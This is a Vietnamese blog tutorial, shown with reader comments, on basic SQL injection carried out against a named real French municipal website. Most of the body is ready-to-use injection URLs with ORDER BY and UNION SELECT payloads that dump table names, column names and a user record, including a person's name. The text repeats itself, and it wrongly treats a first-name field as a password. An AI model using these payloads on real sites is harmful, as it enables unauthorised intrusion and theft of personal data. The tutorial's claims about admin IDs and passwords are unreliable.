Công cụ trong sql inject căn bản là addon hackbad trên firefox
1.Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )
link các web làm bài tập cho các bạn xem tại
http://vouuvhb.blogspot.com/2016/01/seri-tu-hoc-hacking-tu-hoc-sql.html
Kỹ Thuật Hacking SQL Inject Căn bản
2. 1 cái đầu và những ngón tay
Victim : http://www.ville-graulhet.fr/article.php?Id=999999.9
Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :
http://www.ville-graulhet.fr/article.php?Id=999999.9'
Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này :
Cái này nó lỗi rồi
Chú ý: thêm dấu ' vào cuối đường link trình duyệt giao diện thay đổi so với lúc ban đầu chưa có dấu ' thì kết luận nó lỗi SQL inject còn tùy vào thông báo lỗi mà nó thuộc loại sql inject nào
Ok bây giờ tới bước tiếp theo chúng ta sẽ ORDER BY để xác định số bảng của database của website
http://www.ville-graulhet.fr/article.php?Id=999999.9 order by 10-- -
Chú Ý: Chúng Ta tiến hành Order by theo phương thức nhảy cóc thông thường từ một nhưng theo kinh nghiệm hack web của Vô Ưu thì chả có web nào nó có 1 bảng trong database cả nên chúng ta sẽ nhảy cóc từ một số bất kỳ nào đó ở đây Vô Ưu chọn là 10 luôn
Khi order by nó có báo lỗi nhưng chúng ta không quan tâm nó vì nó chưa giống với thông báo lỗi khi chúng ta thêm dấu ' vào cuối đường link trình duyệt chúng ta sẽ order by cho tới khi nó giống nhau thì thôi
Cứ order by đoán số tới vị trí
http://www.ville-graulhet.fr/article.php?Id=999999.9 order by 23-- -
http://www.ville-graulhet.fr/article.php?Id=999999.9 order by 24-- -
Ở vị trí order by 24 nó lỗi giống với khi chúng ta thêm dấu nháy đơn (') vào cuối đường link trình duyệt kết luận nó lỗi chúng ta giảm xuống order by 23 lỗi nhưng khác lỗi ở trí 24 suy ra trong cái hiển thị web này có tổng cộng 23 table đang được hiển thị
Chúng ta nhấn vào SQL trên thanh mên của hackbar chọn UNIONSE LECT và gõ 23 và thêm 2 dấu -- - vào cuối đường link
kết Quả sau khi chạy
Sẽ xuất hiện các con số ở đây chúng ta có thể biết được các bảng được hiển thị vị trí nào trên website
chúng ta sẽ chọn mộ bảng nào đó có khoảng trống rộng nhất để hiển thị thông tin đối với link này thì Vô Ưu sẽ chọn vị trí cuối là 23 để hiển thị
cú pháp
http://www.ville-graulhet.fr/article.php?Id=999999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
chúng ta thu được 1 dãy số gì đó chúng ta sẽ coppy nó ra ngoài để xem cho dễ
Alerte,Breve,Conseil,Presse,Salle,Scolaire,Tag,article,associations,avis,bien,contact,dossier,groupes,interview,public,reportage,utilisateur
đây là tên toàn bộ các table trong database bây giờ chúng ta phải áp dụng một chiêu đoán xem bảng nào có tài khoản admin
Ở đây Vô Ưu đoán thông tin tài khoản ở table utilisateur chúng ta sẽ khai thác bảng này xem sao
Tiếp Theo Tìm Các Column Trong Table utilisateur . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex
chúng ta thu được các thông tin như sau
ID_user,Nom,Prenom,Mail,Mdp,Id_groupe,Gpe
bây giờ chúng ta xem mấy colums này xem có tài khoản admin
chúng ta khai thác 3 vị trí ID_user,Nom,Prenom
với cú pháp
http://www.ville-graulhet.fr/article.php?Id=999999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,group_concat(ID_user,0x7c,Nom,0x7c,Prenom,0x7c) from utilisateur-- -
tròng đó cái 0x7c là mã hex của dấu | để khi ra kết quả nó phân cách nhau bằng dấu |
chúng ta thu được các thông tin như sau
1|habonneau|corinne|
Chú Ý: Các Tài khoản admin luôn có ID user là 1
như vậy chúng ta có được
id: 1
user là habonneau
pass: corinne
Như vậy chúng ta đã khai thác song lỗi sql inject cơ bản ở seri bài học sau mình sẽ hướng dẫn các bạn khai thác lỗi sql inject 406 và 302
chúng ta tiến hành tìm link admin các bạn có thể tham khảo tool web admin finder xem và tải ở đây
http://sinhvienit.net/forum/tool-web-admin-finder-v2-0.28757.html
1.Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )
link các web làm bài tập cho các bạn xem tại
http://vouuvhb.blogspot.com/2016/01/seri-tu-hoc-hacking-tu-hoc-sql.html
Kỹ Thuật Hacking SQL Inject Căn bản
2. 1 cái đầu và những ngón tay
Victim : http://www.ville-graulhet.fr/article.php?Id=999999.9
Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :
http://www.ville-graulhet.fr/article.php?Id=999999.9'
Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này :
Cái này nó lỗi rồi
Chú ý: thêm dấu ' vào cuối đường link trình duyệt giao diện thay đổi so với lúc ban đầu chưa có dấu ' thì kết luận nó lỗi SQL inject còn tùy vào thông báo lỗi mà nó thuộc loại sql inject nào
Ok bây giờ tới bước tiếp theo chúng ta sẽ ORDER BY để xác định số bảng của database của website
http://www.ville-graulhet.fr/article.php?Id=999999.9 order by 10-- -
Chú Ý: Chúng Ta tiến hành Order by theo phương thức nhảy cóc thông thường từ một nhưng theo kinh nghiệm hack web của Vô Ưu thì chả có web nào nó có 1 bảng trong database cả nên chúng ta sẽ nhảy cóc từ một số bất kỳ nào đó ở đây Vô Ưu chọn là 10 luôn
Khi order by nó có báo lỗi nhưng chúng ta không quan tâm nó vì nó chưa giống với thông báo lỗi khi chúng ta thêm dấu ' vào cuối đường link trình duyệt chúng ta sẽ order by cho tới khi nó giống nhau thì thôi
Cứ order by đoán số tới vị trí
http://www.ville-graulhet.fr/article.php?Id=999999.9 order by 23-- -
http://www.ville-graulhet.fr/article.php?Id=999999.9 order by 24-- -
Ở vị trí order by 24 nó lỗi giống với khi chúng ta thêm dấu nháy đơn (') vào cuối đường link trình duyệt kết luận nó lỗi chúng ta giảm xuống order by 23 lỗi nhưng khác lỗi ở trí 24 suy ra trong cái hiển thị web này có tổng cộng 23 table đang được hiển thị
Chúng ta nhấn vào SQL trên thanh mên của hackbar chọn UNIONSE LECT và gõ 23 và thêm 2 dấu -- - vào cuối đường link
kết Quả sau khi chạy
Sẽ xuất hiện các con số ở đây chúng ta có thể biết được các bảng được hiển thị vị trí nào trên website
chúng ta sẽ chọn mộ bảng nào đó có khoảng trống rộng nhất để hiển thị thông tin đối với link này thì Vô Ưu sẽ chọn vị trí cuối là 23 để hiển thị
cú pháp
http://www.ville-graulhet.fr/article.php?Id=999999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
chúng ta thu được 1 dãy số gì đó chúng ta sẽ coppy nó ra ngoài để xem cho dễ
Alerte,Breve,Conseil,Presse,Salle,Scolaire,Tag,article,associations,avis,bien,contact,dossier,groupes,interview,public,reportage,utilisateur
đây là tên toàn bộ các table trong database bây giờ chúng ta phải áp dụng một chiêu đoán xem bảng nào có tài khoản admin
Ở đây Vô Ưu đoán thông tin tài khoản ở table utilisateur chúng ta sẽ khai thác bảng này xem sao
Tiếp Theo Tìm Các Column Trong Table utilisateur . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex
Tiếp theo chúng ta khai thác bảng
và chúng ta thu được mã hex và chúng ta sửa lại link chút thành các link sau
http://www.ville-graulhet.fr/article.php?Id=999999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,group_concat(column_name) from information_schema.columns where table_name=0x7574696c69736174657572-- -
chúng ta thu được các thông tin như sau
ID_user,Nom,Prenom,Mail,Mdp,Id_groupe,Gpe
bây giờ chúng ta xem mấy colums này xem có tài khoản admin
chúng ta khai thác 3 vị trí ID_user,Nom,Prenom
với cú pháp
http://www.ville-graulhet.fr/article.php?Id=999999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,group_concat(ID_user,0x7c,Nom,0x7c,Prenom,0x7c) from utilisateur-- -
tròng đó cái 0x7c là mã hex của dấu | để khi ra kết quả nó phân cách nhau bằng dấu |
chúng ta thu được các thông tin như sau
1|habonneau|corinne|
Chú Ý: Các Tài khoản admin luôn có ID user là 1
như vậy chúng ta có được
id: 1
user là habonneau
pass: corinne
Như vậy chúng ta đã khai thác song lỗi sql inject cơ bản ở seri bài học sau mình sẽ hướng dẫn các bạn khai thác lỗi sql inject 406 và 302
chúng ta tiến hành tìm link admin các bạn có thể tham khảo tool web admin finder xem và tải ở đây
http://sinhvienit.net/forum/tool-web-admin-finder-v2-0.28757.html
Bài này hướng dẫn lấy pass lưu trên trình duyệt hả ad?
ReplyDeletekhông bạn a :) lấy pass lưu trong database của web bạn nhé
DeleteBài này hướng dẫn lấy pass lưu trên trình duyệt hả ad?
ReplyDeletenó fix rồi ak
ReplyDelete